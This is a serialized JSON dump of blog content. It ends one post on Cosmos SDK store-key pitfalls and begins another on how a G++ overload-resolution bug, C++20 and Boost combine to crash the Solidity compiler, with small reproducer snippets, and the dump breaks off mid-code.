NewKVStoreKey",{"type":23,"tag":230,"props":91390,"children":91391},{"style":274},[91392],{"type":29,"value":302},{"type":23,"tag":230,"props":91394,"children":91395},{"style":262},[91396],{"type":29,"value":50270},{"type":23,"tag":230,"props":91398,"children":91399},{"style":274},[91400],{"type":29,"value":4516},{"type":23,"tag":230,"props":91402,"children":91403},{"class":232,"line":334},[91404],{"type":23,"tag":230,"props":91405,"children":91406},{"style":274},[91407],{"type":29,"value":1552},{"type":23,"tag":230,"props":91409,"children":91410},{"class":232,"line":371},[91411],{"type":23,"tag":230,"props":91412,"children":91413},{"emptyLinePlaceholder":18},[91414],{"type":29,"value":459},{"type":23,"tag":230,"props":91416,"children":91417},{"class":232,"line":391},[91418,91422],{"type":23,"tag":230,"props":91419,"children":91420},{"style":866},[91421],{"type":29,"value":4427},{"type":23,"tag":230,"props":91423,"children":91424},{"style":262},[91425],{"type":29,"value":91426}," keys\n",{"type":23,"tag":230,"props":91428,"children":91429},{"class":232,"line":400},[91430],{"type":23,"tag":230,"props":91431,"children":91432},{"style":274},[91433],{"type":29,"value":975},{"type":23,"tag":32,"props":91435,"children":91436},{},[91437,91439,91444,91446,91451,91453,91458],{"type":29,"value":91438},"Thanks to the diligence of core developers, checks are now enforced and the ",{"type":23,"tag":71,"props":91440,"children":91442},{"className":91441},[],[91443],{"type":29,"value":80241},{"type":29,"value":91445}," will refuse to run if any ",{"type":23,"tag":71,"props":91447,"children":91449},{"className":91448},[],[91450],{"type":29,"value":86756},{"type":29,"value":91452}," keys are prefix of each other. This implementation alleviates developers from having to worry about key collisions on the ",{"type":23,"tag":71,"props":91454,"children":91456},{"className":91455},[],[91457],{"type":29,"value":86756},{"type":29,"value":91459}," level.",{"type":23,"tag":32,"props":91461,"children":91462},{},[91463,91465,91472],{"type":29,"value":91464},"Additional storage key issues like subtle bugs in the Cosmos-SDK have resulted in ",{"type":23,"tag":181,"props":91466,"children":91469},{"href":91467,"rel":91468},"https://github.com/cosmos/cosmos-sdk/issues/12661",[185],[91470],{"type":29,"value":91471},"incorrect iterator behavior",{"type":29,"value":312},{"type":23,"tag":32,"props":91474,"children":91475},{},[91476,91478,91485],{"type":29,"value":91477},"Notably, gradual adoption of the ",{"type":23,"tag":181,"props":91479,"children":91482},{"href":91480,"rel":91481},"https://github.com/cosmos/cosmos-sdk/tree/def657dafa615cb8e8bb072452663893157e073a/collections",[185],[91483],{"type":29,"value":91484},"collections",{"type":29,"value":91486}," storage helpers since Cosmos v0.50 has made it a lot more difficult to write buggy code. This demonstrates the importance of keeping up to date with the latest SDK development to leverage architectural security improvements.",{"type":23,"tag":24,"props":91488,"children":91489},{"id":5163},[91490],{"type":29,"value":5166},{"type":23,"tag":32,"props":91492,"children":91493},{},[91494],{"type":29,"value":91495},"The Cosmos SDK is a powerful tool for those who want to create custom blockchains. However, this flexibility brings about great responsibility. Developers must pay close attention to nuances, as these can expose a large number of potential attack surfaces.",{"type":23,"tag":32,"props":91497,"children":91498},{},[91499],{"type":29,"value":91500},"To recap, we discussed some of the more basic parts of Cosmos-SDK, showcasing common mistakes developers tend to make. Yet, it is important to note that we've only covered the tip of the iceberg. Other attack surfaces, such as authentications in relation to the IBC interface, are fundamentals absolutely worth looking into.",{"type":23,"tag":5178,"props":91502,"children":91503},{},[91504],{"type":29,"value":5182},{"title":7,"searchDepth":243,"depth":243,"links":91506},[91507,91508,91511,91514,91517,91520,91523,91526],{"id":31322,"depth":243,"text":31325},{"id":77660,"depth":243,"text":77663,"children":91509},[91510],{"id":78465,"depth":252,"text":78468},{"id":79061,"depth":243,"text":79064,"children":91512},[91513],{"id":79710,"depth":252,"text":78468},{"id":80207,"depth":243,"text":80210,"children":91515},[91516],{"id":81507,"depth":252,"text":78468},{"id":82851,"depth":243,"text":82854,"children":91518},[91519],{"id":83389,"depth":252,"text":78468},{"id":84908,"depth":243,"text":84911,"children":91521},[91522],{"id":85788,"depth":252,"text":78468},{"id":86742,"depth":243,"text":86745,"children":91524},[91525],{"id":91168,"depth":252,"text":78468},{"id":5163,"depth":243,"text":5166},"content:blog:2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security",{"_path":91531,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":91532,"description":91533,"author":91534,"image":91535,"date":91537,"tags":91538,"isFeatured":18,"onBlogPage":18,"body":91539,"_type":5202,"_id":94248,"_source":5204,"_file":94249,"_stem":94250,"_extension":5207},"/blog/2025-08-11-compiler-bug-causes-compiler-bug","Compiler Bug Causes Compiler Bug: How a 12-Year-Old G++ Bug Took Down Solidity","A subtle G++ bug from 2012, C++20's new comparison rules, and legacy Boost code can collide to crash Solidity's compiler on valid code. We unpack the surprising chain reaction and how to fix it.","kiprey",{"src":91536,"height":16,"width":16},"/posts/compiler-bug-causes-compiler-bug/title.png","2025-08-11",[6812,31317],{"type":20,"children":91540,"toc":94232},[91541,91546,91683,91688,91693,91698,91703,91816,91821,91826,91831,91871,91884,91889,91907,91912,91915,91921,91935,91948,91953,91966,91971,91983,91996,92001,92004,92010,92016,92073,92078,92084,92098,92133,92141,92149,92169,92175,92180,92620,92628,92672,92677,92685,92693,92732,92737,92745,92750,92753,92759,92765,92790,92802,92829,92862,92867,92870,92876,92895,93413,93426,93444,93467,93478,93483,93586,93591,93596,93610,93615,93691,93709,93714,93717,93723,93735,93747,94087,94092,94110,94115,94118,94124,94129,94147,94167,94170,94176,94195,94198,94202,94207,94218,94223,94228],{"type":23,"tag":32,"props":91542,"children":91543},{},[91544],{"type":29,"value":91545},"Compilers aren't supposed to crash — especially not when compiling perfectly valid code like this:",{"type":23,"tag":220,"props":91547,"children":91549},{"code":91548,"language":6812,"meta":7,"className":6813,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n    function a() public pure returns (uint256) {\n        return 1 ** 2;\n    }\n}\n",[91550],{"type":23,"tag":71,"props":91551,"children":91552},{"__ignoreMap":7},[91553,91561,91579,91586,91603,91645,91669,91676],{"type":23,"tag":230,"props":91554,"children":91555},{"class":232,"line":233},[91556],{"type":23,"tag":230,"props":91557,"children":91558},{"style":237},[91559],{"type":29,"value":91560},"// SPDX-License-Identifier: UNLICENSED\n",{"type":23,"tag":230,"props":91562,"children":91563},{"class":232,"line":243},[91564,91569,91574],{"type":23,"tag":230,"props":91565,"children":91566},{"style":866},[91567],{"type":29,"value":91568},"pragma",{"type":23,"tag":230,"props":91570,"children":91571},{"style":256},[91572],{"type":29,"value":91573}," solidity",{"type":23,"tag":230,"props":91575,"children":91576},{"style":274},[91577],{"type":29,"value":91578}," ^0.8.25;\n",{"type":23,"tag":230,"props":91580,"children":91581},{"class":232,"line":252},[91582],{"type":23,"tag":230,"props":91583,"children":91584},{"emptyLinePlaceholder":18},[91585],{"type":29,"value":459},{"type":23,"tag":230,"props":91587,"children":91588},{"class":232,"line":280},[91589,91594,91599],{"type":23,"tag":230,"props":91590,"children":91591},{"style":256},[91592],{"type":29,"value":91593},"contract",{"type":23,"tag":230,"props":91595,"children":91596},{"style":676},[91597],{"type":29,"value":91598}," A",{"type":23,"tag":230,"props":91600,"children":91601},{"style":274},[91602],{"type":29,"value":277},{"type":23,"tag":230,"props":91604,"children":91605},{"class":232,"line":334},[91606,91611,91616,91620,91624,91629,91633,91637,91641],{"type":23,"tag":230,"props":91607,"children":91608},{"style":256},[91609],{"type":29,"value":91610},"    function",{"type":23,"tag":230,"props":91612,"children":91613},{"style":294},[91614],{"type":29,"value":91615}," a",{"type":23,"tag":230,"props":91617,"children":91618},{"style":274},[91619],{"type":29,"value":16370},{"type":23,"tag":230,"props":91621,"children":91622},{"style":256},[91623],{"type":29,"value":63450},{"type":23,"tag":230,"props":91625,"children":91626},{"style":256},[91627],{"type":29,"value":91628}," pure",{"type":23,"tag":230,"props":91630,"children":91631},{"style":866},[91632],{"type":29,"value":77772},{"type":23,"tag":230,"props":91634,"children":91635},{"style":274},[91636],{"type":29,"value":664},{"type":23,"tag":230,"props":91638,"children":91639},{"style":676},[91640],{"type":29,"value":47939},{"type":23,"tag":230,"props":91642,"children":91643},{"style":274},[91644],{"type":29,"value":827},{"type":23,"tag":230,"props":91646,"children":91647},{"class":232,"line":371},[91648,91652,91656,91661,91665],{"type":23,"tag":230,"props":91649,"children":91650},{"style":866},[91651],{"type":29,"value":3554},{"type":23,"tag":230,"props":91653,"children":91654},{"style":5149},[91655],{"type":29,"value":6861},{"type":23,"tag":230,"props":91657,"children":91658},{"style":268},[91659],{"type":29,"value":91660}," **",{"type":23,"tag":230,"props":91662,"children":91663},{"style":5149},[91664],{"type":29,"value":10269},{"type":23,"tag":230,"props":91666,"children":91667},{"style":274},[91668],{"type":29,"value":511},{"type":23,"tag":230,"props":91670,"children":91671},{"class":232,"line":391},[91672],{"type":23,"tag":230,"props":91673,"children":91674},{"style":274},[91675],{"type":29,"value":1552},{"type":23,"tag":230,"props":91677,"children":91678},{"class":232,"line":400},[91679],{"type":23,"tag":230,"props":91680,"children":91681},{"style":274},[91682],{"type":29,"value":975},{"type":23,"tag":32,"props":91684,"children":91685},{},[91686],{"type":29,"value":91687},"Yet running Solidity's compiler (solc) on this file on a standard Ubuntu 22.04 system (G++ 11.4, Boost 1.74) causes an immediate segmentation fault.",{"type":23,"tag":32,"props":91689,"children":91690},{},[91691],{"type":29,"value":91692},"At first, this seemed absurd. The code just returns 1 to the power of 2 — no memory tricks, unsafe casting, or undefined behavior.",{"type":23,"tag":32,"props":91694,"children":91695},{},[91696],{"type":29,"value":91697},"And yet, it crashes.",{"type":23,"tag":32,"props":91699,"children":91700},{},[91701],{"type":29,"value":91702},"Another minimal example?",{"type":23,"tag":220,"props":91704,"children":91706},{"code":91705,"language":6812,"meta":7,"className":6813,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n    function a() public pure {\n        uint256[1] data;\n    }\n}\n",[91707],{"type":23,"tag":71,"props":91708,"children":91709},{"__ignoreMap":7},[91710,91717,91732,91739,91754,91781,91802,91809],{"type":23,"tag":230,"props":91711,"children":91712},{"class":232,"line":233},[91713],{"type":23,"tag":230,"props":91714,"children":91715},{"style":237},[91716],{"type":29,"value":91560},{"type":23,"tag":230,"props":91718,"children":91719},{"class":232,"line":243},[91720,91724,91728],{"type":23,"tag":230,"props":91721,"children":91722},{"style":866},[91723],{"type":29,"value":91568},{"type":23,"tag":230,"props":91725,"children":91726},{"style":256},[91727],{"type":29,"value":91573},{"type":23,"tag":230,"props":91729,"children":91730},{"style":274},[91731],{"type":29,"value":91578},{"type":23,"tag":230,"props":91733,"children":91734},{"class":232,"line":252},[91735],{"type":23,"tag":230,"props":91736,"children":91737},{"emptyLinePlaceholder":18},[91738],{"type":29,"value":459},{"type":23,"tag":230,"props":91740,"children":91741},{"class":232,"line":280},[91742,91746,91750],{"type":23,"tag":230,"props":91743,"children":91744},{"style":256},[91745],{"type":29,"value":91593},{"type":23,"tag":230,"props":91747,"children":91748},{"style":676},[91749],{"type":29,"value":91598},{"type":23,"tag":230,"props":91751,"children":91752},{"style":274},[91753],{"type":29,"value":277},{"type":23,"tag":230,"props":91755,"children":91756},{"class":232,"line":334},[91757,91761,91765,91769,91773,91777],{"type":23,"tag":230,"props":91758,"children":91759},{"style":256},[91760],{"type":29,"value":91610},{"type":23,"tag":230,"props":91762,"children":91763},{"style":294},[91764],{"type":29,"value":91615},{"type":23,"tag":230,"props":91766,"children":91767},{"style":274},[91768],{"type":29,"value":16370},{"type":23,"tag":230,"props":91770,"children":91771},{"style":256},[91772],{"type":29,"value":63450},{"type":23,"tag":230,"props":91774,"children":91775},{"style":256},[91776],{"type":29,"value":91628},{"type":23,"tag":230,"props":91778,"children":91779},{"style":274},[91780],{"type":29,"value":277},{"type":23,"tag":230,"props":91782,"children":91783},{"class":232,"line":371},[91784,91789,91793,91797],{"type":23,"tag":230,"props":91785,"children":91786},{"style":676},[91787],{"type":29,"value":91788},"        uint256",{"type":23,"tag":230,"props":91790,"children":91791},{"style":274},[91792],{"type":29,"value":6069},{"type":23,"tag":230,"props":91794,"children":91795},{"style":5149},[91796],{"type":29,"value":6348},{"type":23,"tag":230,"props":91798,"children":91799},{"style":274},[91800],{"type":29,"value":91801},"] data;\n",{"type":23,"tag":230,"props":91803,"children":91804},{"class":232,"line":391},[91805],{"type":23,"tag":230,"props":91806,"children":91807},{"style":274},[91808],{"type":29,"value":1552},{"type":23,"tag":230,"props":91810,"children":91811},{"class":232,"line":400},[91812],{"type":23,"tag":230,"props":91813,"children":91814},{"style":274},[91815],{"type":29,"value":975},{"type":23,"tag":32,"props":91817,"children":91818},{},[91819],{"type":29,"value":91820},"Still crashes.",{"type":23,"tag":32,"props":91822,"children":91823},{},[91824],{"type":29,"value":91825},"So what’s going on?",{"type":23,"tag":32,"props":91827,"children":91828},{},[91829],{"type":29,"value":91830},"We traced it down to a seemingly unrelated C++ line deep in the compiler backend:",{"type":23,"tag":220,"props":91832,"children":91834},{"code":91833,"language":31419,"meta":7,"className":31417,"style":7},"if (*lengthValue == 0) { ... }\n",[91835],{"type":23,"tag":71,"props":91836,"children":91837},{"__ignoreMap":7},[91838],{"type":23,"tag":230,"props":91839,"children":91840},{"class":232,"line":233},[91841,91845,91849,91853,91858,91862,91866],{"type":23,"tag":230,"props":91842,"children":91843},{"style":866},[91844],{"type":29,"value":17904},{"type":23,"tag":230,"props":91846,"children":91847},{"style":274},[91848],{"type":29,"value":664},{"type":23,"tag":230,"props":91850,"children":91851},{"style":268},[91852],{"type":29,"value":6909},{"type":23,"tag":230,"props":91854,"children":91855},{"style":274},[91856],{"type":29,"value":91857},"lengthValue ",{"type":23,"tag":230,"props":91859,"children":91860},{"style":268},[91861],{"type":29,"value":10911},{"type":23,"tag":230,"props":91863,"children":91864},{"style":5149},[91865],{"type":29,"value":5386},{"type":23,"tag":230,"props":91867,"children":91868},{"style":274},[91869],{"type":29,"value":91870},") { ... }\n",{"type":23,"tag":32,"props":91872,"children":91873},{},[91874,91876,91882],{"type":29,"value":91875},"That single comparison — a ",{"type":23,"tag":71,"props":91877,"children":91879},{"className":91878},[],[91880],{"type":29,"value":91881},"boost::rational",{"type":29,"value":91883}," compared to 0 — causes infinite recursion in G++ \u003C 14 when compiled under C++20. And the resulting stack overflow crashes solc.",{"type":23,"tag":32,"props":91885,"children":91886},{},[91887],{"type":29,"value":91888},"This post unpacks how this happened — and why none of the individual components are technically \"broken\":",{"type":23,"tag":98,"props":91890,"children":91891},{},[91892,91897,91902],{"type":23,"tag":102,"props":91893,"children":91894},{},[91895],{"type":29,"value":91896},"A 12-year-old overload resolution bug in G++",{"type":23,"tag":102,"props":91898,"children":91899},{},[91900],{"type":29,"value":91901},"An outdated symmetric comparison pattern in Boost",{"type":23,"tag":102,"props":91903,"children":91904},{},[91905],{"type":29,"value":91906},"A subtle but impactful rewrite rule in C++20",{"type":23,"tag":32,"props":91908,"children":91909},{},[91910],{"type":29,"value":91911},"Put together, they form a perfect storm — one that takes down Solidity compilation on default Linux setups, even though your code is perfectly fine.",{"type":23,"tag":21113,"props":91913,"children":91914},{},[],{"type":23,"tag":24,"props":91916,"children":91918},{"id":91917},"background-the-setup",[91919],{"type":29,"value":91920},"Background: The Setup",{"type":23,"tag":32,"props":91922,"children":91923},{},[91924,91926,91933],{"type":29,"value":91925},"If you follow the ",{"type":23,"tag":181,"props":91927,"children":91930},{"href":91928,"rel":91929},"https://docs.soliditylang.org/en/v0.8.30/installing-solidity.html#building-from-source",[185],[91931],{"type":29,"value":91932},"Solidity build documentation (v0.8.30)",{"type":29,"value":91934},", you'll see it recommends:",{"type":23,"tag":98,"props":91936,"children":91937},{},[91938,91943],{"type":23,"tag":102,"props":91939,"children":91940},{},[91941],{"type":29,"value":91942},"Boost ≥ 1.67",{"type":23,"tag":102,"props":91944,"children":91945},{},[91946],{"type":29,"value":91947},"GCC ≥ 11",{"type":23,"tag":32,"props":91949,"children":91950},{},[91951],{"type":29,"value":91952},"Ubuntu 22.04, for example, ships with:",{"type":23,"tag":98,"props":91954,"children":91955},{},[91956,91961],{"type":23,"tag":102,"props":91957,"children":91958},{},[91959],{"type":29,"value":91960},"G++ 11.4.0",{"type":23,"tag":102,"props":91962,"children":91963},{},[91964],{"type":29,"value":91965},"Boost 1.74.0",{"type":23,"tag":32,"props":91967,"children":91968},{},[91969],{"type":29,"value":91970},"So far, so good.",{"type":23,"tag":32,"props":91972,"children":91973},{},[91974,91976,91981],{"type":29,"value":91975},"However, Solidity enabled ",{"type":23,"tag":2302,"props":91977,"children":91978},{},[91979],{"type":29,"value":91980},"C++20",{"type":29,"value":91982}," in January 2025:",{"type":23,"tag":5272,"props":91984,"children":91985},{},[91986],{"type":23,"tag":32,"props":91987,"children":91988},{},[91989],{"type":23,"tag":181,"props":91990,"children":91993},{"href":91991,"rel":91992},"https://github.com/ethereum/solidity/commit/233a5081835a04939ccf85dfb5286c0b53d23c66",[185],[91994],{"type":29,"value":91995},"Enable C++20 in Solidity",{"type":23,"tag":32,"props":91997,"children":91998},{},[91999],{"type":29,"value":92000},"This wasn't accompanied by an update to the versions of dependencies in the documentation. As we'll soon see, that's what opened the trapdoor.",{"type":23,"tag":21113,"props":92002,"children":92003},{},[],{"type":23,"tag":24,"props":92005,"children":92007},{"id":92006},"part-i-a-12-year-old-g-bug-in-overload-resolution",[92008],{"type":29,"value":92009},"Part I: A 12-Year-Old G++ Bug in Overload Resolution",{"type":23,"tag":59,"props":92011,"children":92013},{"id":92012},"whats-overload-resolution",[92014],{"type":29,"value":92015},"What’s Overload Resolution?",{"type":23,"tag":32,"props":92017,"children":92018},{},[92019,92021,92027,92029,92035,92037,92042,92044,92049,92051,92057,92059,92064,92065,92071],{"type":29,"value":92020},"In C++, when you write an expression like ",{"type":23,"tag":71,"props":92022,"children":92024},{"className":92023},[],[92025],{"type":29,"value":92026},"a == b",{"type":29,"value":92028},", the compiler chooses among available ",{"type":23,"tag":71,"props":92030,"children":92032},{"className":92031},[],[92033],{"type":29,"value":92034},"operator==",{"type":29,"value":92036}," implementations by comparing their ",{"type":23,"tag":2302,"props":92038,"children":92039},{},[92040],{"type":29,"value":92041},"match quality",{"type":29,"value":92043},". A ",{"type":23,"tag":2302,"props":92045,"children":92046},{},[92047],{"type":29,"value":92048},"member function",{"type":29,"value":92050}," like ",{"type":23,"tag":71,"props":92052,"children":92054},{"className":92053},[],[92055],{"type":29,"value":92056},"a.operator==(b)",{"type":29,"value":92058}," usually has higher priority than a ",{"type":23,"tag":2302,"props":92060,"children":92061},{},[92062],{"type":29,"value":92063},"non-member function",{"type":29,"value":92050},{"type":23,"tag":71,"props":92066,"children":92068},{"className":92067},[],[92069],{"type":29,"value":92070},"operator==(a, b)",{"type":29,"value":92072}," — unless the types differ too much or are ambiguous.",{"type":23,"tag":32,"props":92074,"children":92075},{},[92076],{"type":29,"value":92077},"That’s the rule. But G++ didn’t always follow it.",{"type":23,"tag":59,"props":92079,"children":92081},{"id":92080},"the-bug",[92082],{"type":29,"value":92083},"The Bug",{"type":23,"tag":32,"props":92085,"children":92086},{},[92087,92089,92096],{"type":29,"value":92088},"In 2012, a bug was filed: ",{"type":23,"tag":181,"props":92090,"children":92093},{"href":92091,"rel":92092},"https://gcc.gnu.org/bugzilla/show_bug.cgi?id=53499",[185],[92094],{"type":29,"value":92095},"GCC Bug 53499 – overload resolution favors non-member function",{"type":29,"value":92097},". The issue? In expressions where:",{"type":23,"tag":98,"props":92099,"children":92100},{},[92101,92121],{"type":23,"tag":102,"props":92102,"children":92103},{},[92104,92106,92112,92114,92119],{"type":29,"value":92105},"A class ",{"type":23,"tag":71,"props":92107,"children":92109},{"className":92108},[],[92110],{"type":29,"value":92111},"rational\u003CT>",{"type":29,"value":92113}," has a templated ",{"type":23,"tag":71,"props":92115,"children":92117},{"className":92116},[],[92118],{"type":29,"value":92034},{"type":29,"value":92120}," member function",{"type":23,"tag":102,"props":92122,"children":92123},{},[92124,92126,92132],{"type":29,"value":92125},"There's also a more generic free ",{"type":23,"tag":71,"props":92127,"children":92129},{"className":92128},[],[92130],{"type":29,"value":92131},"operator==(rational\u003CT>, U)",{"type":29,"value":2903},{"type":23,"tag":32,"props":92134,"children":92135},{},[92136],{"type":23,"tag":2302,"props":92137,"children":92138},{},[92139],{"type":29,"value":92140},"Clang correctly chooses the member function.",{"type":23,"tag":32,"props":92142,"children":92143},{},[92144],{"type":23,"tag":2302,"props":92145,"children":92146},{},[92147],{"type":29,"value":92148},"G++ (before v14) chooses the non-member function.",{"type":23,"tag":32,"props":92150,"children":92151},{},[92152,92154,92159,92161,92168],{"type":29,"value":92153},"Why? Because G++ mishandles ",{"type":23,"tag":2302,"props":92155,"children":92156},{},[92157],{"type":29,"value":92158},"templated conversion + non-exact match",{"type":29,"value":92160},", overvaluing a non-member function with worse match quality. It does not correctly apply the overload resolution ranking rules defined in ",{"type":23,"tag":181,"props":92162,"children":92165},{"href":92163,"rel":92164},"https://cplusplus.github.io/CWG/issues/532.html",[185],[92166],{"type":29,"value":92167},"CWG532: Member/nonmember operator template partial ordering",{"type":29,"value":312},{"type":23,"tag":59,"props":92170,"children":92172},{"id":92171},"a-minimal-reproducer",[92173],{"type":29,"value":92174},"A Minimal Reproducer",{"type":23,"tag":32,"props":92176,"children":92177},{},[92178],{"type":29,"value":92179},"Let’s see this in action:",{"type":23,"tag":220,"props":92181,"children":92183},{"code":92182,"language":31419,"meta":7,"className":31417,"style":7},"#include \u003Ciostream>\n\ntemplate \u003Ctypename IntType>\nclass rational {\npublic:\n    template \u003Cclass T>\n    bool operator==(const T& i) const {\n        std::cout \u003C\u003C \"clang++ resolved member\" \u003C\u003C std::endl;\n        return true;\n    }\n};\n\ntemplate \u003Cclass Arg, class IntType>\nbool operator==(const rational\u003CIntType>& a, const Arg& b) {\n    std::cout \u003C\u003C \"g++ \u003C14 resolved non-member\" \u003C\u003C std::endl;\n    return false;\n}\n\nint main() {\n    rational\u003Cint> r;\n    return r == 0;\n}\n",[92184],{"type":23,"tag":71,"props":92185,"children":92186},{"__ignoreMap":7},[92187,92200,92207,92232,92248,92256,92280,92325,92353,92368,92375,92382,92389,92425,92494,92519,92534,92541,92548,92564,92589,92613],{"type":23,"tag":230,"props":92188,"children":92189},{"class":232,"line":233},[92190,92195],{"type":23,"tag":230,"props":92191,"children":92192},{"style":866},[92193],{"type":29,"value":92194},"#include",{"type":23,"tag":230,"props":92196,"children":92197},{"style":380},[92198],{"type":29,"value":92199}," \u003Ciostream>\n",{"type":23,"tag":230,"props":92201,"children":92202},{"class":232,"line":243},[92203],{"type":23,"tag":230,"props":92204,"children":92205},{"emptyLinePlaceholder":18},[92206],{"type":29,"value":459},{"type":23,"tag":230,"props":92208,"children":92209},{"class":232,"line":252},[92210,92214,92218,92223,92228],{"type":23,"tag":230,"props":92211,"children":92212},{"style":256},[92213],{"type":29,"value":67992},{"type":23,"tag":230,"props":92215,"children":92216},{"style":274},[92217],{"type":29,"value":11055},{"type":23,"tag":230,"props":92219,"children":92220},{"style":256},[92221],{"type":29,"value":92222},"typename",{"type":23,"tag":230,"props":92224,"children":92225},{"style":676},[92226],{"type":29,"value":92227}," IntType",{"type":23,"tag":230,"props":92229,"children":92230},{"style":274},[92231],{"type":29,"value":8329},{"type":23,"tag":230,"props":92233,"children":92234},{"class":232,"line":280},[92235,92239,92244],{"type":23,"tag":230,"props":92236,"children":92237},{"style":256},[92238],{"type":29,"value":72187},{"type":23,"tag":230,"props":92240,"children":92241},{"style":676},[92242],{"type":29,"value":92243}," rational",{"type":23,"tag":230,"props":92245,"children":92246},{"style":274},[92247],{"type":29,"value":277},{"type":23,"tag":230,"props":92249,"children":92250},{"class":232,"line":334},[92251],{"type":23,"tag":230,"props":92252,"children":92253},{"style":256},[92254],{"type":29,"value":92255},"public:\n",{"type":23,"tag":230,"props":92257,"children":92258},{"class":232,"line":371},[92259,92264,92268,92272,92276],{"type":23,"tag":230,"props":92260,"children":92261},{"style":256},[92262],{"type":29,"value":92263},"    template",{"type":23,"tag":230,"props":92265,"children":92266},{"style":274},[92267],{"type":29,"value":11055},{"type":23,"tag":230,"props":92269,"children":92270},{"style":256},[92271],{"type":29,"value":72187},{"type":23,"tag":230,"props":92273,"children":92274},{"style":676},[92275],{"type":29,"value":8255},{"type":23,"tag":230,"props":92277,"children":92278},{"style":274},[92279],{"type":29,"value":8329},{"type":23,"tag":230,"props":92281,"children":92282},{"class":232,"line":391},[92283,92287,92292,92297,92301,92305,92309,92313,92317,92321],{"type":23,"tag":230,"props":92284,"children":92285},{"style":256},[92286],{"type":29,"value":48244},{"type":23,"tag":230,"props":92288,"children":92289},{"style":256},[92290],{"type":29,"value":92291}," operator",{"type":23,"tag":230,"props":92293,"children":92294},{"style":274},[92295],{"type":29,"value":92296},"==(",{"type":23,"tag":230,"props":92298,"children":92299},{"style":256},[92300],{"type":29,"value":259},{"type":23,"tag":230,"props":92302,"children":92303},{"style":676},[92304],{"type":29,"value":8255},{"type":23,"tag":230,"props":92306,"children":92307},{"style":256},[92308],{"type":29,"value":5448},{"type":23,"tag":230,"props":92310,"children":92311},{"style":262},[92312],{"type":29,"value":5736},{"type":23,"tag":230,"props":92314,"children":92315},{"style":274},[92316],{"type":29,"value":703},{"type":23,"tag":230,"props":92318,"children":92319},{"style":256},[92320],{"type":29,"value":259},{"type":23,"tag":230,"props":92322,"children":92323},{"style":274},[92324],{"type":29,"value":277},{"type":23,"tag":230,"props":92326,"children":92327},{"class":232,"line":400},[92328,92333,92338,92343,92348],{"type":23,"tag":230,"props":92329,"children":92330},{"style":274},[92331],{"type":29,"value":92332},"        std::cout ",{"type":23,"tag":230,"props":92334,"children":92335},{"style":268},[92336],{"type":29,"value":92337},"\u003C\u003C",{"type":23,"tag":230,"props":92339,"children":92340},{"style":380},[92341],{"type":29,"value":92342}," \"clang++ resolved member\"",{"type":23,"tag":230,"props":92344,"children":92345},{"style":268},[92346],{"type":29,"value":92347}," \u003C\u003C",{"type":23,"tag":230,"props":92349,"children":92350},{"style":274},[92351],{"type":29,"value":92352}," std::endl;\n",{"type":23,"tag":230,"props":92354,"children":92355},{"class":232,"line":444},[92356,92360,92364],{"type":23,"tag":230,"props":92357,"children":92358},{"style":866},[92359],{"type":29,"value":3554},{"type":23,"tag":230,"props":92361,"children":92362},{"style":256},[92363],{"type":29,"value":14799},{"type":23,"tag":230,"props":92365,"children":92366},{"style":274},[92367],{"type":29,"value":511},{"type":23,"tag":230,"props":92369,"children":92370},{"class":232,"line":453},[92371],{"type":23,"tag":230,"props":92372,"children":92373},{"style":274},[92374],{"type":29,"value":1552},{"type":23,"tag":230,"props":92376,"children":92377},{"class":232,"line":462},[92378],{"type":23,"tag":230,"props":92379,"children":92380},{"style":274},[92381],{"type":29,"value":450},{"type":23,"tag":230,"props":92383,"children":92384},{"class":232,"line":471},[92385],{"type":23,"tag":230,"props":92386,"children":92387},{"emptyLinePlaceholder":18},[92388],{"type":29,"value":459},{"type":23,"tag":230,"props":92390,"children":92391},{"class":232,"line":500},[92392,92396,92400,92404,92409,92413,92417,92421],{"type":23,"tag":230,"props":92393,"children":92394},{"style":256},[92395],{"type":29,"value":67992},{"type":23,"tag":230,"props":92397,"children":92398},{"style":274},[92399],{"type":29,"value":11055},{"type":23,"tag":230,"props":92401,"children":92402},{"style":256},[92403],{"type":29,"value":72187},{"type":23,"tag":230,"props":92405,"children":92406},{"style":676},[92407],{"type":29,"value":92408}," Arg",{"type":23,"tag":230,"props":92410,"children":92411},{"style":274},[92412],{"type":29,"value":684},{"type":23,"tag":230,"props":92414,"children":92415},{"style":256},[92416],{"type":29,"value":72187},{"type":23,"tag":230,"props":92418,"children":92419},{"style":676},[92420],{"type":29,"value":92227},{"type":23,"tag":230,"props":92422,"children":92423},{"style":274},[92424],{"type":29,"value":8329},{"type":23,"tag":230,"props":92426,"children":92427},{"class":232,"line":514},[92428,92432,92436,92440,92444,92448,92452,92457,92461,92465,92469,92473,92477,92481,92485,92490],{"type":23,"tag":230,"props":92429,"children":92430},{"style":256},[92431],{"type":29,"value":31992},{"type":23,"tag":230,"props":92433,"children":92434},{"style":256},[92435],{"type":29,"value":92291},{"type":23,"tag":230,"props":92437,"children":92438},{"style":274},[92439],{"type":29,"value":92296},{"type":23,"tag":230,"props":92441,"children":92442},{"style":256},[92443],{"type":29,"value":259},{"type":23,"tag":230,"props":92445,"children":92446},{"style":676},[92447],{"type":29,"value":92243},{"type":23,"tag":230,"props":92449,"children":92450},{"style":274},[92451],{"type":29,"value":8143},{"type":23,"tag":230,"props":92453,"children":92454},{"style":676},[92455],{"type":29,"value":92456},"IntType",{"type":23,"tag":230,"props":92458,"children":92459},{"style":274},[92460],{"type":29,"value":12792},{"type":23,"tag":230,"props":92462,"children":92463},{"style":256},[92464],{"type":29,"value":5448},{"type":23,"tag":230,"props":92466,"children":92467},{"style":262},[92468],{"type":29,"value":91615},{"type":23,"tag":230,"props":92470,"children":92471},{"style":274},[92472],{"type":29,"value":684},{"type":23,"tag":230,"props":92474,"children":92475},{"style":256},[92476],{"type":29,"value":259},{"type":23,"tag":230,"props":92478,"children":92479},{"style":676},[92480],{"type":29,"value":92408},{"type":23,"tag":230,"props":92482,"children":92483},{"style":256},[92484],{"type":29,"value":5448},{"type":23,"tag":230,"props":92486,"children":92487},{"style":262},[92488],{"type":29,"value":92489}," b",{"type":23,"tag":230,"props":92491,"children":92492},{"style":274},[92493],{"type":29,"value":827},{"type":23,"tag":230,"props":92495,"children":92496},{"class":232,"line":897},[92497,92502,92506,92511,92515],{"type":23,"tag":230,"props":92498,"children":92499},{"style":274},[92500],{"type":29,"value":92501},"    